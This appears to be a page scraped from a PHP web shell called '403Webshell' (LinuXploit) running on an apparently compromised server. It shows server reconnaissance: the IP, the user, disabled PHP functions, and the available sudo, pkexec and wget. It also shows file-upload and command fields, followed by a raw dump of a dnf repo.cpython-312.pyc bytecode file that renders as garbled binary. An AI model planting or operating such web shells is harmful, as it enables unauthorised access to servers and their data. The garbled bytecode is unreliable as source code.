403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1/cwd/usr/lib/python3.12/site-packages/dnf/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/1/cwd/usr/lib/python3.12/site-packages/dnf/__pycache__/repo.cpython-312.pyc
�

�(fDQ���ddlmZddlmZddlmZmZddlZddlZddl	Zddl
ZddlZddlZddl
ZddlZddlZddlZddlZddlZddlZddlZddlZddlZddlZddlZddlZddlZddlZddlZddlZddlZddl Z dZ!dZ"ejFejHzdzZ%dejLe%��d	ejN�d
�Z(de(�de"�d
�de(�de!�d�dd�Z)ejTd�Z+d�Z,d�Z-d-d�Z.d�Z/Gd�de0�Z1Gd�de2�Z3Gd�dejhjj�Z6Gd�de0�Z7Gd�d ejpjr�Z:Gd!�d"ejhjv�Z<Gd#�d$e<�Z=Gd%�d&e<�Z>Gd'�d(ejhjv�Z?ejpj�j�ZBejpj�j�ZDejpj�j�ZFGd)�d*ejpj��ZHGd+�d,ej�j��Z@y).�)�absolute_import)�unicode_literals)�ucd�_N�packages�
mirrorlistz-_.:z(?P<repoid>[z]+)\-[z]{16}�^z>\/.*((xml|yaml)(\.gz|\.xz|\.bz2|\.zck|\.zst)?|asc|cachecookie|z)$z\/z\/.+rpm$z^.+(solv|solvx)$)�metadatar�dbcache�dnfc�f�tjjj|�}|dkrdS|S)zAReturn index of an invalid character in the repo ID (if present).rN)�libdnf�repo�Repo�verifyId)�repo_id�
first_invalids  �-/usr/lib/python3.12/site-packages/dnf/repo.py�repo_id_invalidrIs0���K�K�$�$�-�-�g�6�M� �1�$�4�7�-�7�c�\�|D]}|||�}|��|cSttd�|z��)Nz"no matching payload factory for %s)�
ValueErrorr)�pkg�progress�	factories�fn�ploads     r�_pkg2payloadrPs;�����3��!�����L���Q�;�<�s�B�
C�Crc�8�d�}|jj�t||��D�cgc]}|j���}}t	�}	t
jjjt
jj|�|�|j�|jj�|_|D]�}|j!�}	|	�|	j#d�r�'|j%�}
|
j&}|j(}|	dk(r|j*j-|��p|jj.j1�|	g|j2|<��|Scc}w#t$r}t|�|_Yd}~��d}~wwxYw)Nc��t|d�S)N�delta)�hasattr)�payloads r�_download_sort_keyz._download_payloads.<locals>._download_sort_keyZs���7�G�,�,�,r)�key�Not finishedzAlready downloaded)�err�clear�sorted�_librepo_target�_DownloadErrorsrr�
PackageTarget�downloadPackages�VectorPPackageTarget�RuntimeError�str�_fatal�wait�copy�_recoverable�getErr�
startswith�getCallbacks�
package_ploadr�_skipped�add�_repo�expire�_pkg_irrecoverable)
�payloads�drpm�	fail_fastr$r�targets�errs�e�tgtr'�	callbacksr#rs
             r�_download_payloadsrFXs[��-�	�H�H�N�N��"�8�1C�D�F�D�5��$�$�&�D��F���D�����!�!�2�2�6�;�;�3S�3S�T[�3\�^g�h�	�I�I�K����
�
��D�����j�j�l���;�#�.�.��8���$�$�&�	��)�)���k�k���&�&��M�M���c�"����������(+�u�����$���K��1F��
���!�f������s�E1�AE6�6	F�?F�Fc��|\}}|D]@}|j}||vr||jz
}�#||jz
}||jz
}�B||fS�N)r�
download_size�
_full_size)�savingr>rB�real�fullrrs       r�_update_savingrNysd���J�D�$����i�i���$�;��E�'�'�'�D����#�#�#���� � � ��
���:�rc�R�eZdZd�Zd�Zed��Zejd��Zd�Zy)r+c�L�i|_i|_d|_t�|_yrH)r=�_val_recoverabler1�setr9��selfs r�__init__z_DownloadErrors.__init__�s"��"$��� "���������
rc�l�|jr|jS|jrd|jgiSiS�N�)r=r1rSs r�_irrecoverablez_DownloadErrors._irrecoverable�s4���"�"��*�*�*��;�;�����
�&�&��	rc��|jSrH�rQrSs rr4z_DownloadErrors._recoverable�s���$�$�$rc��||_yrHr[)rT�new_dcts  rr4z_DownloadErrors._recoverable�s
�� '��rc�L�|j|jvry|jS�Nr)rr9rI)rTrs  r�_bandwidth_usedz_DownloadErrors._bandwidth_used�s!���9�9��
�
�%���"�"�"rN)	�__name__�
__module__�__qualname__rUrY�propertyr4�setterr`�rrr+r+�s?�����%��%����(��(�#rr+c��eZdZd�Zy)�_DetailedLibrepoErrorc��tj|�|jd|_|jd|_||_y)Nr�)�	ExceptionrU�args�librepo_code�librepo_msg�
source_url)rT�librepo_errros   rrUz_DetailedLibrepoError.__init__�s=�����4� �'�,�,�Q�/���&�+�+�A�.���$��rN)rarbrcrUrfrrrhrh�s��%rrhc��eZdZd�Zy)�_NullKeyImportc��y)NTrf�rT�id�userid�fingerprint�url�	timestamps      r�_confirmz_NullKeyImport._confirm�s��rN)rarbrcrzrfrrrrrr�s��rrrc�"�eZdZd�Zed��Zy)�Metadatac��||_yrH)r;)rTrs  rrUzMetadata.__init__�s	����
rc�6�|jj�SrH)r;�freshrSs rrzMetadata.fresh�����z�z���!�!rN)rarbrcrUrdrrfrrr|r|�s����"��"rr|c�0��eZdZ�fd�Zd�Zd�Zd�Z�xZS)�PackageTargetCallbacksc�8��tt|��||_yrH)�superr�rUr8)rTr8�	__class__s  �rrUzPackageTargetCallbacks.__init__�s���
�$�d�4�6�*��rc�>�|jjd||�yr_)r8�_end_cb)rT�status�msgs   r�endzPackageTargetCallbacks.end�s�����"�"�4���5�rc�>�|jjd||�yr_)r8�_progress_cb�rT�totalToDownload�
downloadeds   rrzPackageTargetCallbacks.progress�s�����'�'��o�z�J�rc�>�|jjd||�yr_)r8�_mirrorfail_cb)rTr�rxs   r�
mirrorFailurez$PackageTargetCallbacks.mirrorFailure�s�����)�)�$��S�9�r)rarbrcrUr�rr��
__classcell__�r�s@rr�r��s���+���rr�c�F��eZdZ�fd�Zd�Zd�Zd�Zed��Zd�Z	�xZ
S)�PackagePayloadc�Z��tt|�|�t|�|_||_yrH)r�r�rUr�rEr)rTrrr�s   �rrUzPackagePayload.__init__�s%���
�n�d�,�X�6�/��5�����rc�R�tjj}|�tjj}nS|j	d�ry|t
jjjk(rtjj}|jj|||�y)z"End callback to librepo operation.Nr&)r�callback�
STATUS_FAILED�	STATUS_OKr6rr�PackageTargetCB�TransferStatus_ALREADYEXISTS�STATUS_ALREADY_EXISTSrr�)rT�cbdata�	lr_statusr�r�s     rr�zPackagePayload._end_cb�sq�����+�+���;��\�\�+�+�F�
�^�^�N�
+��
�&�+�+�5�5�R�R�
R��\�\�7�7�F��
�
���$���,rc�n�|jj|tjj|�yrH)rr�rr��
STATUS_MIRROR)rTr�r'rxs    rr�zPackagePayload._mirrorfail_cb�s"���
�
���$���� :� :�C�@rc��	|jj||�y#t$rVtj�\}}}t	j
|||�}tjdj|��YywxYwrW)	rrk�sys�exc_info�	traceback�format_exception�logger�critical�join�rTr��total�done�exc_type�	exc_value�
exc_traceback�except_lists        rr�zPackagePayload._progress_cb�se��	2��M�M�"�"�4��.���	2�14����.�H�i��#�4�4�X�y�-�X�K��O�O�B�G�G�K�0�1�	2�s��AA>�=A>c��|jSrH)rIrSs rrJzPackagePayload._full_size�s���!�!�!rc
��|j}|j}tjj	|�|d||j
|j|jd�}|j|j��tjj|jj|d|d|d|d|d|d|d	d
d
|j�S)NT)�dest�resumer��
progresscb�endcb�mirrorfailurecb�relative_urlr��
checksum_type�checksum�expectedsize�base_urlr�r)r�pkgdirr�util�
ensure_dirr�r�r��update�_target_paramsrrr,r;rE)rTrr��
target_dcts    rr*zPackagePayload._librepo_target�s����h�h�����������F�#�����+�+��\�\�#�2�2�

�
�	���$�-�-�/�0��{�{�(�(��H�H�N�N��~�&��v��
�?� ;�Z�
�=S��~�&�
�:�(>�
�8�@T�
�q�$�.�.�"�	"r)rarbrcrUr�r�r�rdrJr*r�r�s@rr�r��s1����

-�A�2��"��"�"rr�c�(�eZdZd�Zd�Zed��Zy)�
RPMPayloadc�h�tjj|jj�SrH)�os�path�basenamer�locationrSs r�__str__zRPMPayload.__str__s!���w�w������ 1� 1�2�2rc�j�|j}|j�\}}tjjj|�}|tjjjk(rtjtd�|�|j|||j|jd�S)Nzunsupported checksum type: %s)r�r�r�r�r�)
r�returnIdSumrrr,�checksumType�ChecksumType_UNKNOWNr��warningrr��downloadsize�baseurl)rTr�ctype�csum�
ctype_codes     rr�zRPMPayload._target_paramss����h�h���o�o�'���t��[�[�.�.�;�;�E�B�
�����2�2�G�G�G��N�N�1�<�=�u�E� �L�L�'���,�,����
�	
rc�.�|jjS�zTotal size of the download.)rr�rSs rrIzRPMPayload.download_sizes���x�x�$�$�$rN)rarbrcr�r�rdrIrfrrr�r�s ��3�

��%��%rr�c�@��eZdZ�fd�Zd�Zd�Zd�Zed��Z�xZ	S)�RemoteRPMPayloadc���tt|�d|�||_d|_||_|j
jxsd|j
jjd�z}tj|jd��j�dd}d|z}tjj|j
j |d�|_t$j&j)|j"�tjj|j"|j+�j-d	��|_y)
N�
unused_objectrrX�basearch�utf8�zcommandline-r�/)r�r�rU�remote_location�remote_size�conf�
releasever�
substitutions�get�hashlib�sha256�encode�	hexdigestr�r�r��cachedirr�rr�r�r��lstrip�
local_path)rTr�r�r�s�digest�repodirr�s       �rrUzRemoteRPMPayload.__init__s����
���.���I�.��������	�
�Y�Y�
!�
!�
'�R�4�9�9�+B�+B�+F�+F�z�+R�R��������� 0�1�;�;�=�c�r�B�� �6�)���g�g�l�l�4�9�9�#5�#5�w�
�K��������D�K�K�(��'�'�,�,�t�{�{�D�L�L�N�4I�4I�#�4N�O��rc��tjjtjj|j��SrH)r�r�r��urllib�parse�unquoter�rSs rr�zRemoteRPMPayload.__str__*s,���w�w������ 4� 4�T�5I�5I� J�K�Krc��||_	|jj||�y#t$rVtj�\}}}tj|||�}tjdj|��YywxYwrW)
r�rrkr�r�r�r�r�r�r�r�s        rr�zRemoteRPMPayload._progress_cb-sm�� ���	2��M�M�"�"�4��.���	2�14����.�H�i��#�4�4�X�y�-�X�K��O�O�B�G�G�K�0�1�	2�s�&�AB�Bc
��tjj|jj|j
|jddddddd|j�S)NrT)rrr,r��_configr�r�rErSs rr*z RemoteRPMPayload._librepo_target6sJ���{�{�(�(��I�I���t�3�3��K�K��D�!�T��!�Q����(�	(rc��|jSr�)r�rSs rrIzRemoteRPMPayload.download_size<s�����r)
rarbrcrUr�r�r*rdrIr�r�s@rr�r�s-���
P�L�2�(�� �� rr�c���eZdZ�fd�Zd�Zd�Zd�Zd�Zd�Ze	d��Z
e	d��Zejd	��Zd
�Z
d�Z�xZS)�	MDPayloadc�t��tt|�|�d|_d|_d|_t
�|_y)NrXrF)r�r�rU�_text�_download_size�fastest_mirror_runningrR�mirror_failures)rTrr�s  �rrUzMDPayload.__init__Ds3���
�i��'��1���
����&+��#�"�u��rc��tjjr|jS|jj	d�S)Nzutf-8)r�pycomp�PY3r�r�rSs rr�zMDPayload.__str__Ks,���:�:�>�>��:�:���:�:�$�$�W�-�-rc��|jSrH)r�rSs r�__unicode__zMDPayload.__unicode__Qs���z�z�rc�J�||_|jj||�yrH)r�r)rTr�r�r�s    rr�zMDPayload._progress_cbTs��#����
�
���t�T�*rc�0�|tjjjk(rt	d�|z}d|_n>|tjjjk(r|j
r
|rd|znd}ny|jj|�y)Nz,determining the fastest mirror (%s hosts).. Tz
error: %s
zdone.
)	rr�RepoCB�FastestMirrorStage_DETECTIONrr��FastestMirrorStage_STATUSr�message)rTr��stage�datar�s     r�_fastestmirror_cbzMDPayload._fastestmirror_cbXsu���F�K�K�&�&�C�C�C��B�C�d�J�C�*.�D�'�
�f�k�k�(�(�B�B�
B�t�Gb�Gb�*.�-�$�&�I�C���
�
���c�"rc�v�|jj|�d|�d|�d�}tj|�y)Nzerror: z (z).)r�r:r��debug)rTr�r�rxr
s     r�_mirror_failure_cbzMDPayload._mirror_failure_cbds,����� � ��%�#&��,�����S�rc��|jSrH)r�rSs rrIzMDPayload.download_sizeis���"�"�"rc��|jSrH)�	_progressrSs rrzMDPayload.progressms���~�~�rc�R�|�tjj�}||_yrH)rr��NullDownloadProgressr�rTrs  rrzMDPayload.progressqs!�����|�|�8�8�:�H�!��rc�J�||_|jjdd�y)Nrjr)r�r�start)rT�texts  rrzMDPayload.startws����
��
�
���A�q�!rc�L�d|_|jj|dd�yr_)r�rr�rSs rr�z
MDPayload.end{s ������
�
���$��d�+r)rarbrcrUr�rr�rrrdrIrrerr�r�r�s@rr�r�Bsk���%�.��+�
#��
�#��#������_�_�"��"�
"�,rr�c�B��eZdZ�fd�Zd�Zd�Zd�Zd�Zd�Zd�Z	�xZ
S)�
RepoCallbacksc�Z��tt|��||_|j|_yrH)r�rrUr;�	_md_pload)rTrr�s  �rrUzRepoCallbacks.__init__�s"���
�m�T�+�-���
�����rc�:�|jj|�yrH)rr)rT�whats  rrzRepoCallbacks.start�s�������T�"rc�8�|jj�yrH)rr�rSs rr�zRepoCallbacks.end�s�������rc�>�|jjd||�yr_)rr�r�s   rrzRepoCallbacks.progress�s�����#�#�D�/�:�F�rc�>�|jjd||�yrH)rr)rTr
�ptrs   r�
fastestMirrorzRepoCallbacks.fastestMirror�s�����(�(��u�c�:rc�@�|jjd|||�yr_)rr)rTr�rxr
s    r�handleMirrorFailurez!RepoCallbacks.handleMirrorFailure�s�����)�)�$��S�(�C�rc�T�|jjj|||||�SrH)r;�_key_importrzrts      r�
repokeyImportzRepoCallbacks.repokeyImport�s%���z�z�%�%�.�.�r�6�;��Y�W�Wr)rarbrcrUrr�rr$r&r)r�r�s@rrr�s'���(�
#���;��Xrrc�L��eZdZeZd�fd�	Zed��Zed��Zejd��Zed��Z
d�Ze
jd��Z
ed��Zed	��Z
e
jd
��Z
d�Zd�Z�fd
�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zdd�Z�xZS)rc�r��tt|�||��|jjj�tjj|r|nd|j�|_ttjj��|_
t|�|_|jjj�|jj!|j�d|_t%�|_d|_|jj+|r|j,rt.n|j0�|r%|jj3|j4�tj6j4j9�|_|�|j<|_yd|_y)N)�section�parentrXT) r�rrUr��this�disownrrr;r�rr�rrr�
_callbacks�setCallbacks�_pkgdirrrr(r
�setSyncStrategy�	cacheonly�SYNC_ONLY_CACHE�DEFAULT_SYNC�setSubstitutionsr�r��
Substitutions�_substitutions�check_config_file_age�_check_config_file_age)rT�name�parent_confr�s   �rrUz
Repo.__init__�s3���
�d�D�"�4��"�D������ � �"��[�[�%�%�d�d��D�L�L�I��
�"�3�<�<�#D�#D�#F�G���'��-��������#�#�%��
�
������0����)�+�����
��
�
�"�"�k�k�F[�F[�?�ae�ar�ar�s���J�J�'�'��(A�(A�B�!�h�h�4�4�B�B�D����&�'2�&G�&G��#�,0�	
�#rc�6�|jj�SrH)r;�getIdrSs rruzRepo.id�r�rc�6�|jj�SrH)r;�getRepoFilePathrSs r�repofilez
Repo.repofile�s���z�z�)�)�+�+rc�:�|jj|�yrH)r;�setRepoFilePath)rT�values  rrBz
Repo.repofile�s���
�
�"�"�5�)rc��|jj�r|jj�S|j�SrH)r;�isLocal�getLocalBaseurl�cache_pkgdirrSs rr�zRepo.pkgdir�s6���:�:�����:�:�-�-�/�/�� � �"�"rc��|j�|jStjj|jj�t�SrH)r2r�r�r�r;�getCachedir�_PACKAGES_RELATIVE_DIRrSs rrIzRepo.cache_pkgdir�s9���<�<�#��<�<���w�w�|�|�D�J�J�2�2�4�6L�M�Mrc��||_yrH)r2�rT�vals  rr�zRepo.pkgdir�s����rc�r�tjj|jj	�d�S)N�pubring)r�r�r�r;rKrSs r�_pubring_dirzRepo._pubring_dir�s$���w�w�|�|�D�J�J�2�2�4�i�@�@rc�6�|jj�SrH)r;�getLoadMetadataOtherrSs r�load_metadata_otherzRepo.load_metadata_other�s���z�z�.�.�0�0rc�:�|jj|�yrH)r;�setLoadMetadataOtherrNs  rrUzRepo.load_metadata_other�s���
�
�'�'��,rc�4�|j|jkSrH)ru)rT�others  r�__lt__zRepo.__lt__�s���w�w����!�!rc�P�d|jj�d|j�d�S)N�<� �>)r�rarurSs r�__repr__z
Repo.__repr__�s�� �N�N�3�3�T�W�W�=�=rc�.��tt|�||�yrH)r�r�__setattr__)rTr<rEr�s   �rrazRepo.__setattr__�s���
�d�D�%�d�E�2rc�8�|jj�yrH)r;�disablerSs rrczRepo.disable�s���
�
���rc�8�|jj�yrH)r;�enablerSs rrezRepo.enable�s���
�
���rc�:�|jj|�y)a/Ask for additional repository metadata type to download.

        Given metadata_type is appended to the default metadata set when
        repository is downloaded.

        Parameters
        ----------
        metadata_type: string

        Example: add_metadata_type_to_download("productid")
        N)r;�addMetadataTypeToDownload�rT�
metadata_types  r�add_metadata_type_to_downloadz"Repo.add_metadata_type_to_download�s��	
�
�
�,�,�]�;rc�:�|jj|�y)aIStop asking for this additional repository metadata type
        in download.

        Given metadata_type is no longer downloaded by default
        when this repository is downloaded.

        Parameters
        ----------
        metadata_type: string

        Example: remove_metadata_type_from_download("productid")
        N)r;�removeMetadataTypeFromDownloadrhs  r�"remove_metadata_type_from_downloadz'Repo.remove_metadata_type_from_downloads��	
�
�
�1�1�-�@rc�8�|jj|�S)z�Return path to the file with downloaded repository metadata of given type.

        Parameters
        ----------
        metadata_type: string
        )r;�getMetadataPathrhs  r�get_metadata_pathzRepo.get_metadata_paths���z�z�)�)�-�8�8rc�8�|jj|�S)z�Return content of the file with downloaded repository metadata of given type.

        Content of compressed metadata file is returned uncompressed.

        Parameters
        ----------
        metadata_type: string
        )r;�getMetadataContentrhs  r�get_metadata_contentzRepo.get_metadata_content"s���z�z�,�,�]�;�;rc�D�d}	|jj�}	t�|j_t!|j�|_|S#tjjt
f$r�}|jjrGd|jz}|jjD]
}|d|zz
}�tj|�tjjt|���d}~wwxYw#t�|j_wxYw)a�Load the metadata for this repo.

        Depending on the configuration and the age and consistence of data
        available on the disk cache, either loads the metadata from the cache or
        downloads them from the mirror, baseurl or metalink.

        This method will by default not try to refresh already loaded data if
        called repeatedly.

        Returns True if this call to load() caused a fresh metadata download.

        Fz7Errors during downloading metadata for repository '%s':z
  - %sN)r;�loadr�error�Errorr/rr�rur�r�r�
exceptions�	RepoErrorr0rRr|r
)rT�retrCr��failures     rruz	Repo.load.s�����
	3��*�*�/�/�#�C�.1�U�D�N�N�*� ����,��
��
�����"�"�L�1�	3��~�~�-�-�O�RV�RY�RY�Y��#�~�~�=�=�G��:��/�/�C� >����s�#��.�.�*�*�3�q�6�2�2��
	3��.1�U�D�N�N�*�s$�A�#D�7BC<�<D�D�Dc��|js|jjd�|jrT|jdk(ry|jj	�}|jj�rt
d|�}d|fSy)a)Get the number of seconds after which the cached metadata will expire.

        Returns a tuple, boolean whether there even is cached metadata and the
        number of seconds it will expire in. Negative number means the metadata
        has expired already, None that it never expires.

        F���)TNrT)Fr)r
r;�	loadCache�metadata_expire�getExpiresIn�	isExpired�min)rT�
expirations  r�_metadata_expire_inzRepo._metadata_expire_inKsq���}�}��J�J� � ��'��=�=��#�#�r�)�!����0�0�2�J��z�z�#�#�%� ��J�/�
���#�#�rc��||_yrH)r()rT�
key_imports  r�_set_key_importzRepo._set_key_import^s
��%��rc�&�||j_yrH)rrrs  r�set_progress_barzRepo.set_progress_baras��"*����rc�6�|jj�S)zoReturns user defined http headers.

        Returns
        -------
        headers : tuple of strings
        )r;�getHttpHeadersrSs r�get_http_headerszRepo.get_http_headerses���z�z�(�(�*�*rc�:�|jj|�y)aSets http headers.

        Sets new http headers and rewrites existing ones.

        Parameters
        ----------
        headers : tuple or list of strings
            Example: set_http_headers(["User-Agent: Agent007", "MyFieldName: MyFieldValue"])
        N)r;�setHttpHeaders)rT�headerss  r�set_http_headerszRepo.set_http_headersos��	
�
�
�!�!�'�*rc������fd�}�sy|jj�}|r||�S|jr||j�Sy)z�
        :param location: relative location inside the repo
        :param schemes: list of allowed protocols. Default is ('http', 'ftp', 'file', 'https')
        :return: absolute url (string) or None
        c�<��|D]�}�rbtjjj|�d}|�vs�6tjj|�j
d��cStjj|�j
d��cSy)Nrr�)rr�urlparser�r�r�r�)�url_listrxr�r��schemess   ��r�schemes_filterz,Repo.remote_location.<locals>.schemes_filter�sw�������
�
�+�+�4�4�S�9�!�<�A��G�|�!�w�w�|�|�C�����1E�F�F��7�7�<�<��X�_�_�S�-A�B�B�
 �rN)r;�
getMirrorsr�)rTr�r�r��mirrorss ``  rr�zRepo.remote_location|sK���	����*�*�'�'�)���!�'�*�*�
�\�\�!�$�,�,�/�/�r)NN))�http�ftp�file�https)rarbrc�SYNC_TRY_CACHEr6rUrdrurBrer�rIrRrUrZr_rarcrerjrmrprsrur�r�r�r�r�r�r�r�s@rrr�s���!�L�1�,�"��"��,��,��_�_�*��*��#��#�N�
�]�]�����A��A��1��1����-� �-�"�>�3���
<�A� 9�
<��:�&&�+�+�+�0rr)T)K�
__future__rr�dnf.i18nrr�dnf.callbackr�dnf.conf�dnf.conf.substitutions�	dnf.const�
dnf.crypto�dnf.exceptions�dnf.logging�
dnf.pycomp�dnf.util�dnf.yum.misc�libdnf.errorr�libdnf.repo�	functoolsr��hawkey�logging�operatorr��re�shutil�stringr��timer�r�rL�_MIRRORLIST_FILENAME�
ascii_letters�digits�
_REPOID_CHARS�escape�	hexdigits�_CACHEDIR_RE�CACHE_FILES�	getLoggerr�rrrFrN�objectr+rkrhr��	KeyImportrrr|rr�r��Payloadr�r�r�r�r�SyncStrategy_LAZY�	SYNC_LAZY�SyncStrategy_ONLY_CACHEr5�SyncStrategy_TRY_CACHEr�rrr��RepoConfrfrr�<module>r�s���*'�'����������������
���	�	�
�
�
���
�#��#���$�$�v�}�}�4�v�=�
�1:����=�1I�17�1A�1A�C���3�5�&2�4J�K�"�	��
��	�	�5�	!��8�D��B	�#�f�#�8%�I�%��S�\�\�+�+��
"�v�"��V�[�[�8�8��$5"�S�\�\�)�)�5"�p%��%�4# �~�# �L;,����$�$�;,�~
�K�K���.�.�	��+�+�"�"�:�:�����!�!�8�8��X�F�K�K�&�&�X�6p0�3�8�8���p0r

Youez - 2016 - github.com/yon3zu
LinuXploit